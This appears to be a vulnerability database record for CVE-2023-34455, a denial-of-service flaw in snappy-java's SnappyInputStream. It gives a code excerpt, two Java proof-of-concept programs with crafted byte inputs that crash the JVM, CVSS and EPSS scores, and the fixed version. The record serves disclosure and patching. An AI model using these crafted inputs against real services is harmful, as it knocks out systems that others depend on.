{"id":"CVE-2023-34455","aliases":["GHSA-qcwq-55hx-v3vh"],"url":"https://o3.security/vulnerability/CVE-2023-34455","summary":"snappy-java's unchecked chunk length leads to DoS","details":"## Summary\nDue to use of an unchecked chunk length, an unrecoverable fatal error can occur.\n## Impact\nDenial of Service\n## Description\nThe code in the function [hasNextChunk](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388) in the file [SnappyInputStream.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java) checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.\n\n\n\n```java\n        int readBytes = readNext(header, 0, 4);\n        if (readBytes < 4) {\n            return false;\n        }\n\n        int chunkSize = SnappyOutputStream.readInt(header, 0);\n        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {\n            .........\n        }\n\n        // extend the compressed data buffer size\n        if (compressed == null || chunkSize > compressed.length) {\n            compressed = new byte[chunkSize];\n        }\n\n```\n\nIn the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.\n\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        try {\n            in.read(out);\n        }\n        catch (Exception ignored) {\n\n        }\n    }\n}\n```\n\nThe program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Requested array size exceeds VM limit\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        in.read(out);\n    }\n}\n```\n\nThe program will crash with the following error (or similar):\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -1\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nIt is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.","published":"2023-06-15T17:15:00.311Z","modified":"2026-08-12T13:32:37.535252Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.01762,"percentile":0.76279,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.xerial.snappy:snappy-java","fixedVersion":"1.1.10.1"}],"fix":{"url":"https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea","label":"xerial/snappy-java@3bf6785"},"references":[{"type":"WEB","url":"https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388"},{"type":"WEB","url":"https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/34xxx/CVE-2023-34455.json"},{"type":"ADVISORY","url":"https://github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-34455"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20230818-0009/"},{"type":"FIX","url":"https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea"},{"type":"PACKAGE","url":"https://github.com/xerial/snappy-java"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20230818-0009"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T13:32:37.535252Z"}}